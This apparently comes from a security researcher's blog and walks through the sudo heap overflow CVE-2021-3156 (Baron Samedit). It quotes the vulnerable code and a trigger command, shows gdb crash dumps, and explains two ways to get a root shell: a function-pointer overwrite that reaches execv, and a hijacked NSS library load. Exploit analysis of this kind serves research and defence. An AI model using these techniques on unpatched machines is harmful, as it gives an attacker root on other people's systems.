On 26th of January, a new sudo vulnerability came out reported by Qualys (Baron Samedit).
The advisory is available here.
The vulnerability is present in the sudo code for 10 years, which attracts a lot, as a ton sudo versions are affected.
The vulnerability consists on a heap-based overflow when an argv[] parameter ends with a backslash.
Let’s analyze the root cause at set_cmnd() @ plugins/sudoers/sudoers.c:
/* set user_args */ if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(-1); } to += n; *to++ = ' '; } *--to = '\0'; } } }
As we can see, first it iterates over the available argv[] arguments and strlen() them, the addition of the whole strlen() results is used as the malloc() request size.
Then if the ISSET() conditions are met, it enters in the for loop.
As we can see, the while loop condition is *from, so when *from is NULL, we can deduce it breaks out from the while loop.
But in the if conditional we can see that if the character is a backslash, it increments from by one, so if the backslash is the last character in the argv, the next byte will be a NULL byte, then it will copy the NULL byte to the to content, and increments it again. That means the while loop condition is still met as we bypassed the *from being a NULL byte at loop condition.
Now, let’s suppose there is a second argv[] after it. It will start copying it’s bytes until it finishes (if not finishing with a backslash too lol).
Once we reach a NULL byte, the for loop will point from to the second argv[] start, which will start copying bytes again from the second argv, bypassing the size calculation with strlen() and writing bytes out of bounds.
Also, the environment variables are contiguous to the argv parameters, as explained by the Qualys advisory:
------------------------------------------------------------------------ env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\' ------------------------------------------------------------------------ --|--------+--------+--------+--------|--------+--------+--------+--------+-- | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| --|--------+--------+--------+--------|--------+--------+--------+--------+-- size <---- user_args buffer ----> size fd bk
But… how can we exploit this bug?
Sudo has all the protections enabled in their binary, so no classic attacks, also we are overflowing the heap, so it’s time to corrupt internal program data and structures to reach something interesting.
The Qualys advisory pointed out various methods to exploit it.
The first method is to get a chunk before an struct that holds a function pointer, also it has fully compatible arguments with execv() (first a string, and then an address to a NULL pointer.
But ASLR is enabled…
Hopefully, that pointers points to sudoers.so, which in a near location, has a PLT entry for execv()
Then to bypass ASLR we can partial overwrite the function pointer and reuse the arguments to execute a binary with the name of the rdi pointed string as root.
The struct to be overflowed is the following:
/* Singly linked hook list. */ struct sudo_hook_entry { SLIST_ENTRY(sudo_hook_entry) entries; union { sudo_hook_fn_t generic_fn; sudo_hook_fn_setenv_t setenv_fn sudo_hook_fn_unsetenv_t unsetenv_fn; sudo_hook_fn_getenv_t getenv_fn; sudo_hook_fn_putenv_t putenv_fn; } u; void *closure; };
This is the code that will call the corrupted function to let us jump to execv():
/* NOTE: must not anything that might call getenv() */ int process_hooks_getenv(const char *name, char **value) { struct sudo_hook_entry *hook; char *val = NULL; int rc = SUDO_HOOK_RET_NEXT; /* First process the hooks. */ SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) { rc = hook->u.getenv_fn(name, &val, hook->closure); if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR) break; } if (val != NULL) *value = val; return rc; }
The second method was a lot more clean, and did not need bruteforce. I find it more stable aswell.
There is another code at nss/nsswitch.c in libc which will help us a bit…
It loads some services in the form: “libnss_” + ni->name + “.so”
/* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision);
Well, but it retrives it from an struct called ni…
typedef struct service_user { /* And the link to the next entry. */ struct service_user *next; /* Action according to result. */ lookup_actions actions[5]; /* Link to the underlying library object. */ service_library *library; /* Collection of known functions. */ void *known; /* Name of the service (`files', `dns', `nis', ...). */ char name[0]; } service_user;
What if we can corrupt the name array to an string called “whatever/whatever”?
It will concat it and will finally be: “libnss_whatever/whatever.so”
So if we enter a custom library with a constructor popping a shell in that directory with that name we would be able to pop a shell as root.
As that modified string will be passed to _libc_dlopen().
The only requirement is:
/* Load library. */ static int nss_load_library (service_user *ni) { if (ni->library == NULL) { /* This service has not yet been used. Fetch the service library for it, creating a new one if need be. If there is no service table from the file, this static variable holds the head of the service_library list made from the default configuration. */ static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL) return -1; } if (ni->library->lib_handle == NULL) { /* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1); int saved_errno = errno;
To avoid a crash, we would have to make ni->library NULL so it calls nss_new_service() again and in the if below a crash does not happen when trying to access ni->library->lib_handle.
Now we know the attack vectors for it, and how to trigger the vulnerability, but we must now try to get a chunk where we want.
Finally, as the Qualys advisory says, I created a bruteforce script fuzz.py which gave me a bunch of crashes to accelerate the Heap Feng Shui methodology.
Initial fuzz.py version: https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2021-3156/fuzz.py
@bl4sty made an improved version of it available here: https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156/fuzz2
Finally after some time fuzzing, some interesting crashes appeared, meaning that the chunks gone just where we want to, before interesting pointers that trigger crashes when overwritten.
One of them was the nss_load_library() one, and the other was the process_hooks_getenv()
I got a few crashes for both of them and selected the ones that fits better the layout I needed.
Program received signal SIGSEGV, Segmentation fault. 0x0000555555566502 in ?? () rax 0x0 0 rbx 0x555555583650 93824992425552 rcx 0x7 7 rdx 0x4242424242424242 4774451407313060418 rsi 0x7fffffffe770 140737488349040 rdi 0x7ffff797464d 140737347274317 rbp 0x7ffff797464d 0x7ffff797464d rsp 0x7fffffffe770 0x7fffffffe770 r8 0x7ffff7f61081 140737353486465 r9 0x7fffffffe6d0 140737488348880 r10 0xffffffff 4294967295 r11 0x202 514 r12 0x7fffffffe770 140737488349040 r13 0x7fffffffe7b0 140737488349104 r14 0x7fffffffe818 140737488349208 r15 0x2 2 rip 0x555555566502 0x555555566502 eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x0 0 k1 0x0 0 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0 => 0x555555566502: callq *0x8(%rbx) (gdb) i r rbx rbx 0x555555583650 93824992425552 (gdb) x/8x 0x555555583650 0x555555583650: 0x42424242 0x42424242 0x42424242 0x42424242 0x555555583660: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb)
As you can see after reproducing one of the crashes, the struct hook contains attacker controlled data, which allows us to corrupt the pointer we need.
When I finally calculated the needed offsets successfully, I entered at the end the partial overwrite and debugged a bit through the PoC to see if working:
$rax : 0x0 $rbx : 0x000055607b638b90 → 0x20208a0420002042 ("B "?) $rcx : 0x7 $rdx : 0x0 $rsp : 0x00007ffcb5b1de58 → 0x0000556079797505 → lea edx, [rax+0x1] $rbp : 0x00007f1f0bbe564d → "SUDO_EDITOR" $rsi : 0x00007ffcb5b1de60 → 0x0000000000000000 $rdi : 0x00007f1f0bbe564d → "SUDO_EDITOR" $rip : 0x7f1f0b008a04 $r8 : 0x00007f1f0c1d2081 → "-> %s @ %s:%d" $r9 : 0x00007ffcb5b1ddc0 → 0x0000003000000028 ("("?) $r10 : 0xffffffff $r11 : 0x202 $r12 : 0x00007ffcb5b1de60 → 0x0000000000000000 $r13 : 0x00007ffcb5b1dea0 → 0x0000000000000000 $r14 : 0x00007ffcb5b1df08 → 0x802a75732b4ae100 $r15 : 0x4 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────── 0x00007ffcb5b1de58│+0x0000: 0x0000556079797505 → lea edx, [rax+0x1] ← $rsp 0x00007ffcb5b1de60│+0x0008: 0x0000000000000000 ← $rsi, $r12 0x00007ffcb5b1de68│+0x0010: 0x802a75732b4ae100 0x00007ffcb5b1de70│+0x0018: 0x0000000000000000 0x00007ffcb5b1de78│+0x0020: 0x00007ffcb5b1def0 → 0x00007f1f0bbee9e8 → "../../../plugins/sudoers/rcstr.c" 0x00007ffcb5b1de80│+0x0028: 0x00007f1f0bbe564d → "SUDO_EDITOR" 0x00007ffcb5b1de88│+0x0030: 0x00007ffcb5b1df98 → 0x0000000000000000 0x00007ffcb5b1de90│+0x0038: 0x00007ffcb5b1df08 → 0x802a75732b4ae100 ──────────────────────────────────────────────── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x7f1f0b008a04 ──────────────────────────────────────────────── [#0] Id 1, Name: "sudoedit", stopped 0x7f1f0b008a04 in ?? (), reason: SIGSEGV ──────────────────────────────────────────────── gef➤
As we can see the RIP was partially modified with two arbitrary bytes plus a NULL byte which is appended by the copying function.
Now we need aproximately 4096 tries to success on the jump to the address we want (execv@PLT).
As we can see the arguments are fully compatible with the execv ones, we have an string pointed by rdi called “SUDO_EDITOR” that coincides with the path variable in the execv:
$rdi : 0x00007f1f0bbe564d → “SUDO_EDITOR”
and then, rsi points to a NULL pointer
$rsi : 0x00007ffcb5b1de60 → 0x0000000000000000
Those arguments are fully compatible with execv(), which is a good condition to execute a binary called “SUDO_EDITOR” (the callback) in the same directory, which will finally be executed as root.
The second method can be triggered just by corrupting the argument, and overwriting ni->library with a NULL pointer, thus avoiding the crash when trying to access it’s content once a new service pointer is given by nss_new_service().
You can find the exploits for both of the explained methods here: here.
Also, I did a small speech about the vulnerability and the exploitation, you can find the slides here.